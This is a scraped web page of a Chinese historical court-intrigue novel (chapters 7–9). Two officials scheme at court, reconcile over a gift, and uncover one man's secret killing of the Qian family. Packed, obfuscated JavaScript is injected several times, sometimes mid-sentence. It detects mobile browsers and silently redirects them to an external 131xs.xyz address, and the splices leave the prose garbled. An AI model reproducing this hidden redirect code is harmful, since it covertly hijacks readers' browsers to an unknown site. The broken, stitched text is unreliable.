;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519532|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缴纳,此二样直入国库,每年按州府提交的“年纪”账目核对拨付。”徐正扉笑的人畜无害,“这首年——可由州府盈余先垫付,朝廷先赊着——毕竟嘛,君主您这点面子,诸位大人肯定还是要给的,此其三。” 众臣大惊失色,怒目而视,喝他住口! 往常,耕民只有耕的份儿,土地都在权贵高门手里,按亩数实计,就得清点,自此赋税那就得自掏腰包;田亩三千以上收归朝廷,耕民种,朝廷收益,等于直接把权贵踢出门去。 再有人头税,仆子人口买卖,向来不算在内的。若按主仆实计,那偌大的府中,哪家权贵高门没有千百个仆子伺候着,这哪是充盈国库,分明是抢权贵的钱。再有银钱入库、其后拨付州府,岂不是将油水刮得一干二净?用不了几年,这帮权贵的腰包就瘪下去了! “啊呀呀呀——小儿胡言!” “荒唐,有失体统。那仆子怎么能跟主子一样呢?” 朝堂上炸开了锅,你一言我一语的挤兑徐正扉。 半晌,等这帮老头骂完了,戎叔晚为了往日的情谊,才从角落里禀了一句,“君主,小臣愿请缨在其中谋个事务,锻造一样颇为合宜。” 得!这帮老头更是气不打一处来,转骂戎叔晚: “竖子不过一马奴,安能侍弄斧钺为太平!” 自那之后,戎叔晚但有一分招惹到他,这人便会学着那副阴阳怪气的样子,瘪嘴道,“哎哟哟——竖子不过一马奴,安能侍弄斧钺为太平!” 眼见君主就要依这三条行事,时任外政使、名孙福义者,小跑两步就跪在了阶前:“君主若一意孤行,我等今日,便撞死在这殿前,为人臣者,怎能见您一意孤行、行差踏错?!” 不等孙福义再开口,徐正扉就恬然地挤到他身旁,义正词严道,“扉欲为新君解忧,大人为何屡次阻拦,难道——大人有意拦着扉升官不成!” 孙福义气得大骂,“黄口小儿,不知天高地厚!怎可为一己之私,置新君、置朝廷于不顾!” 徐正扉拱手笑道,“正所谓老而不死是为贼,孙大人,彼此彼此!” 孙福义气得飙出泪来,“天亡我大国矣——” 说罢站起身来,疾跑两步,就要往柱子上撞。 那徐正扉岂是吃素的,大喊一声,“贼子且慢,让扉先来!” 这两人竞相往前跑了两步,直直往柱子上撞去。 嘶——群臣发出了倒呵气声。 ? 预想中的疼痛并未出现,谢祯一手抵着一个脑袋,让这两人拱得身形一颤。 新君别过脸,硬忍着把笑声咽了回去。群臣则捂着脸低下头去,一小阵压抑的笑声从喉咙里溢出来,大家忍得难受、浑身颤抖。 徐智渊暗自摇头叹息:孙大人啊,你还是不知道犬子的厉害。 终于—— 孙福义跌坐在地上,脸色青一阵白一阵。 徐正扉还抱着谢祯的手臂,口中轻狂地喊着,“将军何必拦我!扉之仕途今日遭大人们红眼,想必再无用武之地,不如死了算了!” 谢祯抽回手臂。 徐正扉抓着手臂又给放回自己脑袋上,口中仍说,“扉分明是为君主解忧,如此忠君意气,满朝竟无一人理解,可惜可叹,不如死了算了——皇上啊!” …… ——就这样,徐正扉泼辣大闹一场,他们二人才得以奔赴淮安。 那副荒诞情形仿佛还在眼前! 想到这儿,戎叔晚实在忍不住想笑,嗓子里哽住一口气,憋得难受:在遇见徐正扉之前,他实在不知道,这世上还有这等人。 他就不要点脸面吗? 两代君王,凭他连哭带闹的。 忽然—— 徐正扉狐疑转过脸来:“你笑什么?” 戎叔晚咳了两声,正色:“没什么,想到淮安之行将要复命,心中高兴。” 徐正扉皱眉看他,分明不信,只一面揉着手腕,一面嘀咕:“高兴?你别是在心里想着我的坏话才好。” 戎叔晚赶忙递上水去,给他捏肩捶背,又说:“怎么会,大人劳苦功高,我替大人捏肩捶背……” 徐正扉看不到他的表情,就假模假样地笑:“那就劳烦军督使了。” 戎叔晚嘴角翘起来,偏偏很快收敛去。沉默了一会儿,他忽然叹道:“也不知道这回,那个孙大人还要不要撞柱子了?嗯?大人?” 徐正扉:? 7. 007 恋绣衾 孙大人撞不撞柱子,徐正扉是管不得了。但戎叔晚厚墙似的胸膛撞上去之后,脑瓜仁会嗡嗡响,徐正扉是刚知道的。 戎叔晚抬手抵住人的脑袋,将人推开:“大人恼羞成怒。” 徐正扉瞥他一眼:“没有。” “竖子——” 眼看那句熟悉的骂人词要蹦出来,戎叔晚赶忙叫他住口:“大人。我替您跑腿,这账簿子,我原封不动地还回去,叫那刺客也乖乖听话,可能扯平了?” 徐正扉睨他,递了个哼笑。 戎叔晚抱胸:“难伺候——哼。外加三天的好酒好菜。” 徐正扉这才满意:“还不快去?” 等徐戎二人处理完这等繁琐小事,赶回上城赴命时,已经是九月了。那位静坐宫廷高椅,繁复而高贵的袍衣叠出一片金光来,沉静而馥郁的帝王香,与周身威严一同骤然逼近…… 两个人跪得低。 照例禀了各项事宜,便忍不住顺着那双金靴往上瞧——这两人都喜欢盯着主子看。 徐正扉瞧他,仿佛史册金笔,能凭着自己篆刻千古功业;戎叔晚瞧他,像是那块尊贵无比的翠玺,手操生杀大权的登天梯,能凭着自己往金座上爬。 ——那位发话:“卿二人,瞧什么?” 徐正扉和戎叔晚对视一眼,各怀鬼胎,都没说话。 ——那位又赐座:“此事险中求全,有釜底抽薪之果决,不愧徐郎之谋。” 徐正扉支吾道,“君主谬赞,臣……不过是顺势而为。” “你不必过谦,因你推波助澜,逼反王氏,又假意谈判被捕,以身入局,拉那钟离启下水。方才有今日之时局,谋逆之罪已定,恩邦之战必胜,朕虽不知你在牢中如何周旋,但此连环计,实在是漂亮极了。”那位特意将话点破,笑道,“若不是朕素来知你,恐怕也要让你骗了去。” 听了这话,戎叔晚先是愣住,拧过脸去看了徐正扉一眼,方才怔笑,“原来,假意被捕,竟是个连环计。” 那位佯作惊讶,“连马奴都让你骗了去?朕还以为是你二人都串通好了的。” 徐正扉拱拱手,“事以密成,语以泄败,臣亦是无奈。” 听着二人可亲的对话,君臣之间的灵犀相通,戎叔晚那目光自两人之间打了转,复又垂下去。不知为何,他握住座椅的手指越发的收紧,肌骨紧绷着,那手底被钢骨鞭所伤的狰狞皮肉又挣裂开来,一阵儿浓重的痛楚,不知在手中还是在肺腑之中蔓延开来。 那君臣二人的目光交织着,全然无一分落在他身上,那膝盖骨细微的磨合着,痛着,那脊背暗自生疮,亦是痛着。在痛楚微微停息的空当中,竟有片刻的落寞诞生。 既痛又酸,甚至含着恨的感觉袭来,戎叔晚坐在殿中,竟自觉无容身之处了。他终于出声,打断二人的计划,“小奴突感不适,恳求主子允许,先行告退。” 那位微微笑,应允了。 他瘸着腿,一步一拐地往外走,后背火辣辣的,好像被人注视着,那腿更不利索了。出殿这十几步路,竟走出一身汗来,就连面皮上也泛起辛辣的红,那手在袖中扣得更紧更难捱了。 徐正扉盯着那扶手上残留的一抹红,失神良久,方才请恩道,“此事多为军督使之功,君主若赏,便赏他罢。” 那位似笑非笑,“卿与朕的马奴倒是走得近了。” 聪明如他,怎会不知其中警告意味? 徐正扉忙跪下去,“臣非圣贤,同僚为友,生几分亲近之意,只为陛下大业,并无何等勾连。” ——那位是故意的。 ——那位还要看他二人的忠心。 “他若不随行,王氏必生疑。故而臣骗了人,要他护送我去,但那追击受伤,全怪他自负,安能怨得了扉?”徐正扉抬起脸来,虽笑着,神色却冷若冰霜,“君主所欲,便是臣之所想,彼时,臣满心中只合一件事,君臣之大业而已。” …… 徐正扉进退有度,叫那位极满意,赐他恩宠,却决计不提戎叔晚的功劳。 告退归去的路上,风光正盛的徐郎,忍不住翻来覆去的、咀嚼起那位的几句话: [那马奴虽狠戾,却是个重义的。旁人只知他睚眦必报,却不知他亦是有恩必偿。今日知晓受你这等利用,做了个全套的戏,难道不悔?故此。依朕看,卿那妇人之仁倒是伤人得很。] [他平素虽果决强硬,却也多自负狂妄,今日今日,这等教训,纵伤了他,亦是为他日后行事谨慎。卿以为,朕难道不曾惋惜么?] [他须弃了那等无用的尊严与自负,用这条残废的腿,再蹚出一条血路来。如此,方才能作个……盛世之大才。而卿——] [卿若有胆气,便拿真心实肠入局。] 是啊,他若不是为了自己,当初怎会下狱,又怎么会废了一条腿? 越想,心里越不是滋味儿。 ——可真心实肠?权柄漩涡之中,哪来的什么真心实肠?主子那句话,分明像蛊惑,叫他滚到泥潭里去,剥了一身富贵华名。 徐正扉坐在轿子里,一路上不知叹了多少气。 他记得自己怎么回答的:“君主苦心,仲修明白。棋盘之上,焉能有废子,臣再不生那无谓之心。” 他本想这么想的。 可…… 忽然,徐正扉掀起轿帘来:“调头——去军督使家。” 戎叔晚在宫墙里当差,大多数时日都住在宫里。自前些时日得了封赏,做了军督使,方才在宫外买了个小院儿。 就在桐华路巷尾。 院里开阔,长着一株桂树;九月开蕊,洒了一地碎金子。戎叔晚靠在院里的长椅上,沉默地握着匕首擦拭,那银刃亮着,比这人微微蹙眉的冷笑还尖锐。 戎叔晚头都没抬,就只扔出一个冷笑,算是迎接—— 徐正扉自讨没趣:“我说军督使,你这是生气了?” 戎叔晚没理他,擦拭的手却顿住了。他沉默一会儿,转身回了屋里……徐正扉站着,有点傻眼,他抿了抿唇,将视线探进去,正犹豫着要不要再开口,戎叔晚忽然又回来了。 手里还提着个茶壶。 “大人光临寒舍,没什么招待的。粗茶一碗,想喝,就自己倒吧。” 徐正扉哼笑:“你别这样置气。我来,是同你告罪的……早先不知你底细,为着主子大业,方才将你捎带进去了。”徐正扉缓慢走过去,坐在他旁边,提起茶壶来倒了两杯茶,推给他:“扉失算了。” 听见这话,戎叔晚抬眼。 脸色阴沉冷淡,嘴角笑意尖锐。 这人惯常这副表情,可眼下,徐正扉却心虚地不敢看他,只得别过脸去。他将刚才那句话说完整:“扉失算,没算到你会去救我。” “哦?” 那反问的口气很微妙。 分明是质问:你那样聪明,又岂会不知? “若说别人,还有可能。可大人是谁?上至君王贵族,下至州府小倌,哪位不曾吃过徐郎的瘪?”戎叔晚冷笑:“大人与我却说,失算了?” 徐正扉哑口无言。 戎叔晚这样看得起他,他都不知该高兴,还是羞愧了。 徐正扉拧过脸来,“扉是人,又不是神。怎的不能失算这一卦?”他改口唤戎叔晚的字:“戎先之,你不要得理不饶人。我真不曾算到,会有人追杀……” 说到这,他自己停住了。 不管是钟离启还是泗平候,若不是为了护着他而得罪了人,戎叔晚又岂会被追杀? 见他停住,戎叔晚开口了:“不怪大人。” 徐正扉微怔,盯着他的脸看,仿佛是为了辨认这话真假:“……” “我与钟离启有旧怨,岂能怪大人?更何况,不管是钟离启还是泗平候,也未必是冲着你我去的……”那声息带着自嘲:“打狗还要看主人呢。” 戎叔晚那话听起来像宽慰,然而神色却难看极了:“大人这样聪明,肯定明白其中的道理,又何必将罪责揽到身上去呢。” 徐正扉身形微僵,而后将身子缓缓倚靠到椅背之上,抬起眼来,盯着那风影里摇晃的金光不说话了。他感觉戎叔晚眼里沉下去的情愫,像被风打落的桂粒,他才要去捉,便不见了…… 沉得如渊,猜不透。 “那你……” 戎叔晚打断他:“我没生大人的气。” 仿佛觉得这话说得多余,他停顿了这么一会儿,便又低头去擦匕首。两个人都沉默起来,直至……徐正扉觉得,该告辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戎叔晚冷笑:“若我就想做官呢。” 徐正扉看他:“孺子不可教也——没承想,你还是个官迷。依我看,就是做官,你也是个糊涂官。” 戎叔晚笑着端酒坛子,不同他争辩;大约是喝了酒,那神色反倒显得热乎些,“那你呢?” “我?”徐正扉乐道:“巧了,扉也想做官。” 戎叔晚无语:“……” 他改了口,算是褒赞,“大人是做官,我是效忠主子,咱们二人,到底不一样。你凭的是才学,我不过靠着卖命、混口饭吃罢了。” 徐正扉忽然朝他歪了身子去,那声音含着笑:“纵如今,你为主子搭了半条命,废了一条腿,也要效忠?” 戎叔晚神色平静:“自然。” “哦?” “他是主子,凭着什么命啊腿啊……” “主子?” “主子是明君。” 徐正扉讥讽他:“你也懂什么明君、昏君之分……” “嘘。”戎叔晚一把捂住他的嘴:“大人谨言慎行。” 那神色有点无语,忒的恃才自傲了些。 “作甚?君王有若过失,为人臣者,自当忠谏。主子自诩效桓公、周主之流,还怕扉论起他的小话来么……” 戎叔晚打量他,忽然问:“你长这么大,就没吃过亏吗?” 他话里有话:凭你这样狂,若没得才学,早死八百次了。 可徐正扉不恼,竟认真想起来了……只不过,快想破脑袋,也没想出谁叫他吃过亏。沉默半天,这人忽然端着酒杯笑了:“还真有,扉,叫人啃过屁股。” ——到现在,还有一道浅白的牙印呢! 戎叔晚“噗”的一口酒喷出来:“谁?” “……” 徐正扉端起袖子,慢条斯理擦着脸上被人喷的酒痕,幽幽笑:“不过是个讨饭的小乞丐。那年,我才不过七八岁,也记不太清了。” 戎叔晚往他身后瞧了一眼。 徐正扉神色诡异:“看什么?” “哦,我好奇大人屁股。” 徐正扉竖眉:“你!” 8. 008 少年心 那金雨下了三载,再重逢,却不是当年光景了。 他那句“好奇大人屁股”臊得人脸热,再定下“守好徐府”的命令也不过在几天前。徐正扉得空再去那小院儿,却扑空了人。 从军督使,升到如今的督军。 再到钟离策奉为座上宾的“国尉”,戎府一日阔过一日,这小院儿早就无人来了。 徐正扉站在院里,厉冬的雪悄无声息地下,他走近前去,扶着桂树,仿佛怅惘似的抬起头来,漫天的白越过枝桠坠落,散在他衣襟上。 前年,他与戎叔晚至于江阜。 那时,主子已经赏给马奴一条尊贵无比的蟒杖,五品以下可先斩后奏,是在戎叔晚认了那条废腿却仍旧忠心之后。 此杖可做刀剑使用,旋转生猛刺,伤人甚狠;更与他身量贴合,一颗蟒头握在手中,仍能露出几颗尖锐的獠牙,杖柄盘绕蛇身,错金银鳞片若隐若现,构型栩栩如生,犹如蟒蛇飞升化龙的前夕,有风雨欲来之势,尽显威怖狠戾。 他们二人停在江阜的当夜,犹可见月光如泻,流银满庭。 戎叔晚静坐在屋脊上,仰面瞧着月亮,手边搁着一坛酒水,微敞衣衫,不觉轻寒。那锋利的线条,从下颌延展到胸襟,因渡了一层寒光,越发显得凉薄。 徐正扉站在庭院中,仰头看他,须扯着嗓子才能将话传到人耳朵里,“戎先之,借酒消愁啊?” 戎叔晚斜眸瞧他,“大人何事?” “扉有话与你说,你下来呗。” “大人有话,就在这说罢。”戎叔晚仰头喝了两口酒,冷笑着看他,“想来不是什么要紧事。” 徐正扉笑道,“你这马奴记仇,这都半年了也不理人,难道你伤患时,不是扉日日衣不解带的伺候你吗?” “并不记仇,只是不愿再与大人扯上干系。”戎叔晚道,“今日只还剩一条腿,再无什么可赠与大人作计的了。” 徐正扉张张嘴,不等说话,便听他那含了隐晦落寞的声音,淡淡地飘散在春寒里了。 “大人没什么错,只是在下没本事,不该多停那一晌,与大人同赏晚霞的。” 徐正扉垂睫不语,片刻后,便快步走了。 那身影融入黑暗中瞧不见,任戎叔晚又多看了两眼都没寻到,那胸腔的酒烧得眼底都热了。 再有片刻,那暗处却又走出人来了。 徐正扉竟是去唤人给他架梯子去了!他艰难爬上屋脊,一向游刃有余的谋士,如今却只能用一种谨慎匍匐的姿态,小心翼翼地往人跟前挪动,那瓦片翕动的声响叫人腿都打颤。 “你既抱怨那日不该同赏晚霞,今夜扉便与你一同赏月罢。”徐正扉颤颤巍巍地想要坐直身体,“只不过,这坛酒还得分给扉喝。” 戎叔晚嗤笑,瞧着人。 徐正扉又往前挪了一下,脚底打滑,哧溜一声便窜出去了。 “?” 戎叔晚揪着人的衣裳,低眼瞧着他笑,“大人没这个本事,就不要学人上屋顶赏月。这要滑下去,摔出个好歹来,君主定要拿我是问了。” 徐正扉笑着攀握住人的手臂,任他给自己“提”了回去。 “扉喊你下去说话,你又不肯。”徐正扉瞧着月,也不看他,“这样的月色,虽比不得晚霞壮丽,却也别有一番滋味儿。 戎叔晚便饮酒,不语。 “你何苦抱怨我,我原以为你去救我不得,便也撤了。那牢中的一番苦日子,扉何曾忘记呢——难道你以为,扉是真的无动于衷,只想葬送你这一条腿吗?” 戎叔晚微微皱起眉来,口气颇不耐烦,“我说过了,不曾怪过大人。” “那你为何不理会人?倒像是闺房里生了怨的女儿家,左右避着人,就是不肯明白地说。” 戎叔晚嗤笑一声,“大人到底想说什么?怎么一时倒扭捏起来了。究竟谁才像女儿家?想来不是宽膀子的武夫。” 徐正扉便道,“扉有一物相赠,纵军督使不在意,也该瞧上一瞧。” 戎叔晚啧了一声,“徐大人,我升官了,不是军督使。” 徐正扉让人气笑了,“行行行,巡使大人,还请您赏个光呗,收下扉的礼物,算作扉向您赔礼道歉。” 戎叔晚起身,利落的身手轻跃而下,那几下脚尖点地,全靠着一条好腿,给徐正扉看得目瞪口呆。 “你!我?扉还在上头呢?怎么下去?” 戎叔晚抱胸看他,不耐烦道,“跳下来,我自会接着大人。” 徐正扉摇摇头,自个儿又匍匐往下挪腾了一阵儿,本想去寻梯子,却连滑带摔的从房顶溜下去了! “啊!——哎!” 电光火石之间,徐正扉心说,完了。唉~纵是留着小命,摔个狗吃屎,也够丢人的——然而,如预想中的疼痛并未出现。 “啧。”戎叔晚一手抱着人,一手接住从屋脊坠落的一片瓦,嗤笑道,“大人下来,还捎带顺了人家一片瓦,果不愧是徐郎,从不空手而归呢。” 徐正扉无言以对,挑眉瞪他。那明眸映着月光,风流衬着衣衫凌乱,不显狼狈,却生了别样的风情,叫那马奴看也不是,不看也不是,只好别过脸去了。 徐正扉从人怀中退出来,抚弄衣衫,正襟迈步,黑着脸走至房间,将那赠礼递到人怀里,便直接杜门谢客,也不理会了。 戎叔晚碰了一鼻子灰,自顾自携着那沉重的物什回了。 是夜,戎叔晚辗转难眠,一双错金银制履摆在眼前,叫人无措。 他穿上试了。 那鞋履应是徐正扉专门找能工巧匠定做的,布料紧紧包裹住小腿,中间夹层有金属,可做支撑力,可以调节高度,直至两条腿走起路来,感觉差不多。 他落下袍来,行走几乎无异。 那盒子里还留着一张有落款的笺子。不知怎么回事,别的字他虽识不全,可这两句,他却看明白了: “君主有荣威,赐汝蛇头杖,扉独有诚心,赠君金银履。” 那月色朗朗照着,戎叔晚靠在床帷上,忽然抬手遮住眼帘。 一片漆黑。 [ 你既名晚,当取个先字,既是凡事谋动在前,又有争进之意。] [ 戎先之,你快快睁开眼啊。] [ 他乃是名动天下的世家公子,你这马奴又算什么? ] 戎叔晚忽然想起这些话来——好似有人反复地在耳边念着,虽察觉一些端倪,却又不知何故,全搅乱了。而那夜,徐正扉也没睡好,他心绪辗转,为此却明白:那颗心,挂在人身上,再抢不回来了。 兴许,越是那等聪明人——越能清晰地辨别和陷入苦痛之中。反观那愚人,连苦痛都来的晚、来的钝……慢腾腾的,令自己也不知所以。 如今,这么想着,徐正扉就忍不住叹了口气。 直至——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519534|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 低笑声响起。 一柄伞撑在他头顶,那声息带着戏弄:“大人不在家中守着,寻到我的小院做什么?瞧着,是馋酒了。” 徐正扉微怔,没回头,却笑骂道:“你这贼子,哪里盯梢来的?” “小的奉命保护徐郎,你到哪儿,我便跟到哪儿。”戎叔晚嘴角一翘:“自然是暗处盯梢来的——若是馋酒,岂不到我的戎府里坐坐?那里宽敞。” “不去了,国尉府的酒,我一介文弱书生,怕是喝不起。” “这话蹊跷。我可没说自个儿升官了。”戎叔晚旧事重提:“当日升官,你不理会,如今倒变样——记着这点事儿。” 徐正扉反问:“哼,来做什么?” “来找大人喝酒。”戎叔晚开门见山:“才过年关,钟离策就已经封了尹同甫来替叶司会,做了管钱的要员,如今——朝堂里,坐的都是大人的对头。” “这贼子,与人沆瀣一气,未免不识抬举。待昭平回来,必叫他们喝一壶。”徐正扉扭过脸来,笑:“虱子多了不怕痒,哪家哪户我没得罪过?区区一个尹同甫,能奈我何?” “你……” 徐正扉握住伞,指头不偏不倚地裹住他的手:“戎叔晚,我若死了,你岂能独活?” 那温度几乎烫人。 戎叔晚张了张口,向来犀利的话全憋回去了。 徐正扉盯着他看,又笑:“若是没人陪你喝酒,你往后的日子,岂不寂寞?” 戎叔晚别过脸去,冷笑一声,却没接话。他本想出言相讥:没大人来抢,喝酒反倒快活……可他没说出来——那是句谎话。 “那就请大人惜命,少寻麻烦,也叫我肩上的担子轻快一些。”戎叔晚垂眼瞧他,慢腾腾地露出笑,仿佛掩盖什么似的:“你乖乖待着,可好?” 笑话。 徐正扉轻嗤一声:“窃钩者诛,窃国者侯。钟离策之把柄内幕,须得查出来——待主子归来,岂不要将他一锅端?” “哦?那又干大人何事?” “这脏活,扉还真不能假手他人。” 戎叔晚抿唇,“若是主子不回来呢?” 徐正扉看了他一眼,复又垂眸,那笑声带着两分嘲讽:“戎叔晚,我能信得过你吗?”说罢,他将手指慢慢下移,松开伞柄,猛地——他薅住戎叔晚的襟领:“若是不回来。我便杀奸贼,诛王侯,辅助新君登基。” 戎叔晚怔住了。 片刻后,他微微笑:“大人想坐一坐那宝座吗?” 徐正扉挑眉,口气轻松的仿佛调侃:“唔,宝座嘛,自然人人垂涎。不过可惜……扉,志不在此。” 戎叔晚又问:“那新君又在哪里?” 徐正扉松了手,轻拍了两下他的胸脯,算作替他整理攥皱的襟领:“这脏活,你只说做不做,至于旁的——扉,信不过你。” 戎叔晚气笑了:“叫人替你卖命,又说信不过;上哪儿寻这样的冤大头?” 徐正扉笑,不答反问:“喝酒吗?” 戎叔晚放低身子,变俯视为平视,视线幽深而叵测:“给我一个筹码。” “什么?” “为大人卖命的筹码。” “为了主子?” 戎叔晚冷笑,摇了摇头。 良久,徐正扉终于微微偏过头去,唇抵在他耳边:“我。” ——“这个筹码,是我。” 9. 009 离亭燕 “若是为了君王,你自有谄媚的主意。”徐正扉盯着他迅速红起来的耳尖,轻笑一声:“若是为了我么,倒不要紧了。无非是做点脏活,再护我周全。” 戎叔晚僵住,仍反唇相讥:“大人要做的,可是谋反的勾当。凭什么觉得……自己值这个价钱?” “在旁人眼里,扉未必值这个价钱。”徐正扉道:“但……戎先之,你不一样,不是吗?” 被他身上若有似无的香气引住,戎叔晚莫名口干,喉结滚了滚,却佯作平静:“大人这话什么意思?” 徐正扉撤开身子,淡定道:“没什么意思。只是想说,国尉大人就算想做点什么,诸如权柄啊宝座啊之类的……若没有我,也举步维艰。恐怕凭你的头脑,连那深宫里的毒妇也斗不过。” 戎叔晚被噎住。 他哼笑:“我与太后,无冤无仇,她不会傻到寻我的错处和把柄。” 徐正扉两手一摊:“那就请国尉大人自便吧。” 戎叔晚停了一会儿,缓缓将伞塞到人手里,露出一个意味深长的笑:“我自忠心,钟离策做了主子,我自然也孝敬。还请大人不要乱猜,平白诬陷人。” 也不知那话说给什么人听的。 反正徐正扉没当回事儿,他折身,背过去对着人,却轻轻笑起来了。 “你笑什么?” “没什么。”徐正扉侧脸,拨弄着肩上的湿痕,道:“大人说的是笑话,扉笑两声也不行吗?” “……” 戎叔晚轻哼,不想再与他辩驳,也挪开靴子就要转身。 然而,还不等他动作,徐正扉就开口冷笑:“前年,你我江阜之行,当地名门钱家满门灭口,一家老小三十余人,连着孕妇老幼,一个活口不留,不知是谁的手笔?” 戎叔晚僵住。 片刻后,他垂眸,轻嗤笑:“大人是问我吗?这等事儿,我怎么知道?” “哦?” 戎叔晚复抬起眼来,神色平静:“大人是怀疑我?” “扉不敢。”徐正扉终于转回身来,盯着他笑:“只是有个问题,还请国尉大人解惑。敢问钱家遇害前夜,你去了哪里?” “哪儿也没去。” 徐正扉挑衅看他:“时隔久远,两年过去了,你竟还记得是哪天?” 被人诈出话来,戎叔晚气得想笑。但他清楚极了,这等细节向来瞒不过这人。今日,能说出这话来,恐怕他已有了更分明的推断。 戎叔晚冷笑盯着他磨牙。片刻后,他又改口:“那就是不记得了。” “哦,不记得倒好。若是不记得,便不是你的错,定是不知哪里来的贼子,穿着国尉大人的鞋靴出了门,才沾了一地的泥。又刚刚好,赶上钱府灭门,才有了嫌疑。” “那夜暴雨,泥泞湿地,贼子自以为算准了什么留不下,却不想,还有处脚印不曾冲干净。一深一浅。”徐正扉佯作苦恼道:“实在难猜……到底是谁呢。” 戎叔晚脸色冷下去,却迟迟不曾放出狠话来。 徐正扉不以为意,走近前来,挨着他低声笑:“戎先之,你也身经百战,做事怎能这等不留心?——嗯?” 戎叔晚阴冷眯眼:“大人这是威胁我?” “啧。”徐正扉笑道:“那处脚印,是扉勘查现场时替你抹平的。那双鞋靴边的泥,也是扉叫人替你擦干净的。戎先之,扉替你擦屁股,你怎能恩将仇报,反说是威胁呢?” 戎叔晚抿唇,盯着他。 徐正扉没再往下说了,而是话锋一转,望着苍茫飞雪叹道:“天冷,故地重游,你我烫上一壶酒,吃它一吃岂不快活?” “……” 见戎叔晚不动,徐正扉又睨他:“怎么?扉值不得你卖命,还值不得你一壶酒吗?”那声息带着戏弄:“还不快去?” 戎叔晚当即哼笑一声,含指吹了一口婉转轻哨,而后大踏步朝门厅里去了。 他烫上好酒,使唤人快马疾驰提了酒肉热菜来。厅内布下桌案软席、绿蜡红烛,院内风雪飒沓,最宜是偎酒谈天。 戎叔晚眼皮儿沉下去,不吭声。 徐正扉偏惹他:“吃着酒,肺腑里热乎。扉也有闲心听你说故事。不知——那钱家与你什么仇什么怨?” “大人管得倒宽。”戎叔晚道:“我只答应大人,护着你查证做事便是,旁的,何必细问。” “这倒不妥,扉替你善后,做这等下恶的勾当,你也得说明白前因后果。如若不然,扉藏着亏心事,夜里都要做噩梦的……” “钱家……嗬,自有钱中韫欺男霸女、鱼肉乡里,赋税少遗,草菅人命。只凭这四样,便是死个九族也不为奇了。”戎叔晚道:“再者,主子赐我蟒杖,允我三品之下先斩后奏,区区一个地头蛇,我如何杀不得?” 徐正扉挑眉:“哦?” “你这是什么意思?” “新皇登基那年,地方官里,有个叫钱弋昌的也死于非命。据我所知,他有要案在身……再有,这钱弋昌和钱中韫,可是正经的表兄弟。” “……” 徐正扉冷眼定论:“这钱弋昌和钱中韫,都是你杀的。” 戎叔晚倒酒的手顿在原处。 良久,他抬眼:“是又如何?” 徐正扉饮酒,笑而不语。 戎叔晚便道:“钱弋昌中饱私囊,强夺少年做娈童,加之要案在身,审起来错综复杂,牵系众多,我是为主子杀的。” “戎先之,现今奸佞当道,纵我说出去,谁又能奈何得了你?”徐正扉道:“是为谁杀的不重要。重要的是,‘国尉大人’守着国,便不该忘了:九头蟒杖诛杀贼子,是为革新大业,不是为你私怨。若是天底下凭着个人喜恶定论,当朝律法岂不成了摆设?” 他继续道:“不过,既然主子许你,自有主子的深意,扉不敢妄议……只是这钱中韫,远不止‘该杀’这么简单。” 戎叔晚不理会,兀自喝起闷酒来了。仿佛烈酒灌进去烧了肺腑似的,他从喉咙里呼出一口气来,视线落在远处的烛影上,却迟迟没有再开口解释。 就这么沉默了一会儿,徐正扉忽然提着酒杯挨过去,凑到人家席上,拿胳膊捣了他一下:“哎,你说不说呀?” 见戎叔晚别过脸去,他又歪着头去追人视线:“咱们二人也算过命的交情了,你怎的连我都信不过呢?说说呗。” 戎叔晚实在没忍住,从嘴角滚出来一声轻笑,而后又转过脸来,睨着他:“大人刨根问底,好烦人。” 氛围热乎了一晌。 徐正扉摩挲着酒杯,带着调侃笑意:“这样狠毒,到底是杀父之仇,还是夺妻之恨?” “都不是。”戎叔晚视线撞进他眼睛里,幽幽笑道:“大人确定要听?——知道这事儿的可都……死透了。” 徐正扉夸张地打了个冷颤,“啧。蛇蝎心肠。扉还是不听了罢。” 说罢这话,他便要起身,却被戎叔晚挂住窄腰,一把带回来了。 “现下,大人听也得听,不听也得听。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519535|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐正扉脸色一哂:“我不听。你别……”他忽然抬手去捂耳朵,让戎叔晚眼疾手快地擒住手腕,摁回在案前了。那双向写字甚是漂亮、落笔便是血色飞扬的双手,无辜地翘起指头来:“哎——有话好好说。” 戎叔晚折身贴近他:“钱中韫是我父亲。” 开门见山,叫人措手不及。 徐正扉惊了,瞪大双眼:“……” 